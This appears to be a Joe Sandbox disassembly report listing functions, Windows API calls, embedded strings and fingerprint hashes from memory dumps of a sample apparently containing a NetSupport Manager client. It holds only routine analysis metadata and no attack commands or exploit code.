GetLastError.KERNEL32(?,?,?,?,?,110F7D09,00000001,111417B8,_debug), ref: 11133F77

Strings

mainwnd ht1=%d, ht2=%d, yppi=%d, xrefs: 11133F2E
CreateMainWnd, hwnd=%x, e=%d, xrefs: 11133F7F
NSMWClass, xrefs: 11133F69

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: System$Metrics$LibraryLoadWindow$AddressAdjustCapsCreateDefaultDeviceErrorFreeLangLastMenuProcRectReleaseVersion_memset
String ID: CreateMainWnd, hwnd=%x, e=%d$NSMWClass$mainwnd ht1=%d, ht2=%d, yppi=%d
API String ID: 1594747848-1114959992
Opcode ID: 75f297c2efb98d08cbe097e8d34710f0383f1ebd178d5accfa4770b5d5071ee0
Instruction ID: 5297cf036ba1cbd73fc44df567c8a611b910eb11675e7325f2afb4d5e36916b9
Opcode Fuzzy Hash: 75f297c2efb98d08cbe097e8d34710f0383f1ebd178d5accfa4770b5d5071ee0
Instruction Fuzzy Hash: C4316275E10219ABDB149FF58C85FAFFBB8EB48709F100529FA25B7284D67469008BA4

Function 1102CC10 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 284servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,?,00000000,19141918,1102DD98,00000000,A1BC2D8B,?,00000000,00000000), ref: 1102CE44
OpenServiceA.ADVAPI32(00000000,ProtectedStorage,00000004), ref: 1102CE5A
QueryServiceStatus.ADVAPI32(00000000,?), ref: 1102CE6E
CloseServiceHandle.ADVAPI32(00000000), ref: 1102CE75
Sleep.KERNEL32(00000032), ref: 1102CE86
CloseServiceHandle.ADVAPI32(00000000), ref: 1102CE96
Sleep.KERNEL32(000003E8), ref: 1102CEE2
CloseHandle.KERNEL32(?), ref: 1102CF0F

Strings

NSM.LIC, xrefs: 1102CF47
NSA.LIC, xrefs: 1102CF56, 1102CF5D, 1102CF8D
ProtectedStorage, xrefs: 1102CE54
>, xrefs: 1102CDBB

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$OpenSleep$ManagerQueryStatus
String ID: >$NSA.LIC$NSM.LIC$ProtectedStorage
API String ID: 83693535-2077998243
Opcode ID: 8822f1513d5873ee506041ece4c3caa14d779e6eafa0361d2a69553500dbb03f
Instruction ID: 880dc79335238c7f7dd8ff78cda89552a6d5dde84d0873ba54ec41c4173cff75
Opcode Fuzzy Hash: 8822f1513d5873ee506041ece4c3caa14d779e6eafa0361d2a69553500dbb03f
Instruction Fuzzy Hash: 27B19475E012259FDB25DFA4CD80BEDB7B5BB48708F5041E9E919AB381DB70AA80CF50

Function 11132BF0 Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 107COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 11132C60
GetTickCount.KERNEL32 ref: 11132C91
SHGetFolderPathA.SHFOLDER(00000000,0000002B,00000000,00000000,?), ref: 11132CA4
GetTickCount.KERNEL32 ref: 11132CAC

Strings

HasStudentComponents=%d, xrefs: 11132D27
Software\NSL, xrefs: 11132CD4
Warning. SHGetFolderPath took %d ms, xrefs: 11132CB6
runplugin.exe, xrefs: 11132C3E
%s%s, xrefs: 11132C5A, 11132CFE
schplayer.exe, xrefs: 11132CE8
CommonPath, xrefs: 11132CCF

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CountTick$FolderPathwsprintf
String ID: %s%s$CommonPath$HasStudentComponents=%d$Software\NSL$Warning. SHGetFolderPath took %d ms$runplugin.exe$schplayer.exe
API String ID: 1170620360-4157686185
Opcode ID: 8db97a347cf6facb783ebfea5336d263050bbd002d3c3d3218a55bc412e7ce30
Instruction ID: 1138b9c1199a8041912b1953dd267279d987a2a799c8ea79b9a25deb6d60bab0
Opcode Fuzzy Hash: 8db97a347cf6facb783ebfea5336d263050bbd002d3c3d3218a55bc412e7ce30
Instruction Fuzzy Hash: F33157BAE4022E67E700AFB0AC84FEDF36C9B9471EF1000A9E915A7145EA72B545C761

Function 111450A0 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 175registryCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetVersionExA.KERNEL32(111F0EF0,75BF8400), ref: 111450D0
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 1114510F
_memset.LIBCMT ref: 1114512D

Part of subcall function 11143000: RegQueryValueExA.KERNEL32(00000000,?,?,00000000,00000000,00000000,1110F4CB,75BF8400,?,?,1114515F,00000000,CSDVersion,00000000,00000000,?), ref: 11143020

_strncpy.LIBCMT ref: 111451FA

Part of subcall function 11163A2D: __isdigit_l.LIBCMT ref: 11163A52

RegCloseKey.KERNEL32(00000000), ref: 11145296

Strings

CurrentMajorVersionNumber, xrefs: 11145228
Service Pack, xrefs: 111452DD
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 111450FB
CSDVersion, xrefs: 1114514A
CurrentMinorVersionNumber, xrefs: 11145260
CurrentVersion, xrefs: 11145174

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValueVersion__isdigit_l_memset_strncpy
String ID: CSDVersion$CurrentMajorVersionNumber$CurrentMinorVersionNumber$CurrentVersion$SOFTWARE\Microsoft\Windows NT\CurrentVersion$Service Pack
API String ID: 3299820421-2117887902
Opcode ID: a6d85e33813e4188b4b6cdba8074358a089f7fb1fdaa889e4758e92ad03e0a5c
Instruction ID: 1fcbe558ef897eaa1b38a7330f4b62b9d1ba330f7a3c6d488077e096d0eda0f8
Opcode Fuzzy Hash: a6d85e33813e4188b4b6cdba8074358a089f7fb1fdaa889e4758e92ad03e0a5c
Instruction Fuzzy Hash: 6D51D9B1E0022BEFEB51CF60CD41F9EF7B9AB04B08F104199F519A7941E7716A48CB91

Function 11026BA0 Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 174sleepCOMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 11026C26
_strtok.LIBCMT ref: 11026C60
Sleep.KERNEL32(1102FC53,?,*max_sessions,0000000A,00000000,00000000,00000002), ref: 11026D54

Strings

Retrying..., xrefs: 11026D42
Error. not all transports loaded (%d/%d), xrefs: 11026D28
Client, xrefs: 11026C16, 11026CBB
*max_sessions, xrefs: 11026CB6
Protocols, xrefs: 11026C11
UseNCS, xrefs: 11026C7D
TCPIP, xrefs: 11026C82
LoadTransports(%d), xrefs: 11026C9C

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: _strtok$Sleep
String ID: *max_sessions$Client$Error. not all transports loaded (%d/%d)$LoadTransports(%d)$Protocols$Retrying...$TCPIP$UseNCS
API String ID: 2009458258-3774545468
Opcode ID: 078eda5116f2816b6dc994d4a65e88964a73d5216bb2e8940b960da01685ed19
Instruction ID: 546c7fd96e7e5c201e62e0728b24f9c1e86d1f0ab762c79c207aecf2c2ec1ca9
Opcode Fuzzy Hash: 078eda5116f2816b6dc994d4a65e88964a73d5216bb2e8940b960da01685ed19
Instruction Fuzzy Hash: A951F375E0525E9BDF11EFA9CC80BBEFBB5EB84308FA44069DC1167284E631A846C742

Function 6C5D8D00 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 144COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,6C5E67B5), ref: 6C5D8D6B

Part of subcall function 6C5D4F70: LoadLibraryA.KERNEL32(psapi.dll,?,6C5D8DC8), ref: 6C5D4F78

GetCurrentProcessId.KERNEL32 ref: 6C5D8DCB
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 6C5D8DD8
FreeLibrary.KERNEL32(?), ref: 6C5D8EBF

Part of subcall function 6C5D4FB0: GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 6C5D4FC4
Part of subcall function 6C5D4FB0: K32EnumProcessModules.KERNEL32(00000FA0,?,00000000,6C5D8E0D,00000000,?,6C5D8E0D,00000000,?,00000FA0,?), ref: 6C5D4FE4

CloseHandle.KERNEL32(00000000,00000000,?,00000FA0,?), ref: 6C5D8EAE

Part of subcall function 6C5D5000: GetProcAddress.KERNEL32(?,GetModuleFileNameExA), ref: 6C5D5014
Part of subcall function 6C5D5000: K32GetModuleFileNameExA.KERNEL32(00000FA0,?,00000000,00000104,00000000,?,6C5D8E50,00000000,?,?,00000104,00000000,?,00000FA0,?), ref: 6C5D5034

Part of subcall function 6C5D2420: _strrchr.LIBCMT ref: 6C5D242E

Strings

NSM247Ctl.dll, xrefs: 6C5D8E7E
pcictl_247.dll, xrefs: 6C5D8E6C
is247, xrefs: 6C5D8D42
Set Is247=%d, xrefs: 6C5D8ED7
NSM247, xrefs: 6C5D8D8B
CLIENT247, xrefs: 6C5D8DA7

Memory Dump Source

Source File: 00000005.00000002.4163444203.000000006C5D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000005.00000002.4163419396.000000006C5D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163517187.000000006C619000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163584177.000000006C620000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c5d0000_bild.jbxd

Yara matches

Similarity

API ID: Process$AddressFileLibraryModuleNameProc$CloseCurrentEnumFreeHandleLoadModulesOpen_strrchr
String ID: CLIENT247$NSM247$NSM247Ctl.dll$Set Is247=%d$is247$pcictl_247.dll
API String ID: 2714439535-3484705551
Opcode ID: 4cf3bd0c25f9ad74d08b03a31845362a29c878ce4c4754483fc4e2a54ef80a82
Instruction ID: c644692432763445050495b9ad518f0df96245a93c3a5760e687270a25a5ba2d
Opcode Fuzzy Hash: 4cf3bd0c25f9ad74d08b03a31845362a29c878ce4c4754483fc4e2a54ef80a82
Instruction Fuzzy Hash: 0B41D871A00319AFDB10DB5E9C85BEA7378EB45706F0104A6EA15D6E40E770AE44CFA9

Function 11102C50 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 68threadCOMMON

Download Yara Rule

APIs

Part of subcall function 11089280: UnhookWindowsHookEx.USER32(?), ref: 110892A3

GetCurrentThreadId.KERNEL32 ref: 11102C6C
GetThreadDesktop.USER32(00000000), ref: 11102C73
OpenDesktopA.USER32(?,00000000,00000000,02000000), ref: 11102C83
SetThreadDesktop.USER32(00000000), ref: 11102C90
CloseDesktop.USER32(00000000), ref: 11102CA9
GetLastError.KERNEL32 ref: 11102CB1
CloseDesktop.USER32(00000000), ref: 11102CC7
GetLastError.KERNEL32 ref: 11102CCF

Strings

SetThreadDesktop(%s) failed, e=%d, xrefs: 11102CB9
OpenDesktop(%s) failed, e=%d, xrefs: 11102CD7
SetThreadDesktop(%s) ok, xrefs: 11102C9B

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Desktop$Thread$CloseErrorLast$CurrentHookOpenUnhookWindows
String ID: OpenDesktop(%s) failed, e=%d$SetThreadDesktop(%s) failed, e=%d$SetThreadDesktop(%s) ok
API String ID: 2036220054-60805735
Opcode ID: 6b535c7b41aace8396d526edc80c79a44f907d57885ab2fb7f21c89248cbb4d8
Instruction ID: e6b285a79aa3308c0e4e86645e8e2c70f1a73097c1882eeb774c19519f5c9288
Opcode Fuzzy Hash: 6b535c7b41aace8396d526edc80c79a44f907d57885ab2fb7f21c89248cbb4d8
Instruction Fuzzy Hash: 5D11C679A042167BE7086BB15C89FBFFA2DAFC571CF051438F91786545EE24B40483B6

Function 1115E380 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 57COMMON

Download Yara Rule

APIs

GlobalAddAtomA.KERNEL32(NSMWndClass), ref: 1115E3A8
GetLastError.KERNEL32 ref: 1115E3B5
wsprintfA.USER32 ref: 1115E3C8

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Part of subcall function 11029450: _strrchr.LIBCMT ref: 11029545
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029584

GlobalAddAtomA.KERNEL32(NSMReflect), ref: 1115E40C
GlobalAddAtomA.KERNEL32(NSMDropTarget), ref: 1115E419

Strings

GlobalAddAtom failed, e=%d, xrefs: 1115E3C2
..\ctl32\wndclass.cpp, xrefs: 1115E3D9, 1115E3F5
NSMReflect, xrefs: 1115E407
NSMWndClass, xrefs: 1115E3A0
NSMDropTarget, xrefs: 1115E40E
m_aProp, xrefs: 1115E3FA

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: AtomGlobal$ErrorExitLastProcesswsprintf$Message_strrchr
String ID: ..\ctl32\wndclass.cpp$GlobalAddAtom failed, e=%d$NSMDropTarget$NSMReflect$NSMWndClass$m_aProp
API String ID: 1734919802-1728070458
Opcode ID: c283eabc343593951191b6a2689ac3898b07c71967e340f2684f7c9ae3ac2948
Instruction ID: 2151ae3f148807adf1b9b51829e7bc1db46dc9b6ec15270657221fcdabbc1952
Opcode Fuzzy Hash: c283eabc343593951191b6a2689ac3898b07c71967e340f2684f7c9ae3ac2948
Instruction Fuzzy Hash: 1B110479A01319ABC720EFE69C84A96F7B4FF2231CB40822EE46543240DA706944CB51

Function 111100D0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

std::exception::exception.LIBCMT ref: 1111013A
__CxxThrowException@8.LIBCMT ref: 1111014F
GetCurrentThreadId.KERNEL32 ref: 11110166
InitializeCriticalSection.KERNEL32(-00000010,?,11031040,00000001,00000000), ref: 11110179
InitializeCriticalSection.KERNEL32(111F08F0,?,11031040,00000001,00000000), ref: 11110188
EnterCriticalSection.KERNEL32(111F08F0,?,11031040), ref: 1111019C
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,11031040), ref: 111101C2
LeaveCriticalSection.KERNEL32(111F08F0,?,11031040), ref: 1111024F

Strings

..\ctl32\Refcount.cpp, xrefs: 111101D6
QueueThreadEvent, xrefs: 111101DB

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CriticalSection$Initialize$CreateCurrentEnterEventException@8LeaveThreadThrow_malloc_memsetstd::exception::exceptionwsprintf
String ID: ..\ctl32\Refcount.cpp$QueueThreadEvent
API String ID: 1976012330-1024648535
Opcode ID: db19f8e7b9fff8ba68d37a9baa43a0e7c0721c068b2f24d3f0a3aafd2fe6ed90
Instruction ID: 7e481d80fa827a07ee7257280804c30d2ae959ce5d98406b053f8524d928f6e4
Opcode Fuzzy Hash: db19f8e7b9fff8ba68d37a9baa43a0e7c0721c068b2f24d3f0a3aafd2fe6ed90
Instruction Fuzzy Hash: 6C41C2B5E00216AFDB11CFB98C84BAEFBF5FB48708F00453AE815DB244E675A944CB91

Function 1115BA20 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 183commemoryCOMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,A1BC2D8B,00000000,?), ref: 1115BA67
CoCreateInstance.OLE32(111C4FEC,00000000,00000017,111C4F1C,?), ref: 1115BA87
wsprintfW.USER32 ref: 1115BAA7
SysAllocString.OLEAUT32(?), ref: 1115BAB3
wsprintfW.USER32 ref: 1115BB67
SysFreeString.OLEAUT32(?), ref: 1115BC08

Strings

SELECT * FROM %s, xrefs: 1115BB61
WQL, xrefs: 1115BB80
root\CIMV2, xrefs: 1115BAA1

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Stringwsprintf$AllocCreateFreeInitializeInstanceSecurity
String ID: SELECT * FROM %s$WQL$root\CIMV2
API String ID: 3050498177-823534439
Opcode ID: 576cfa077ff6f7d7422243c8d6aded75e2d45eb1edbb45dc90fee1c625149e70
Instruction ID: 667e066b75244b2782fe63ff2368f72f8a2c2363a2cb4bcdb988270c73b3585f
Opcode Fuzzy Hash: 576cfa077ff6f7d7422243c8d6aded75e2d45eb1edbb45dc90fee1c625149e70
Instruction Fuzzy Hash: 7351B071B00219ABC764CF69CC84F9AF7B9FB8A714F1042A8E429E7240DA70AE40CF55

Function 6C5E2F80 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

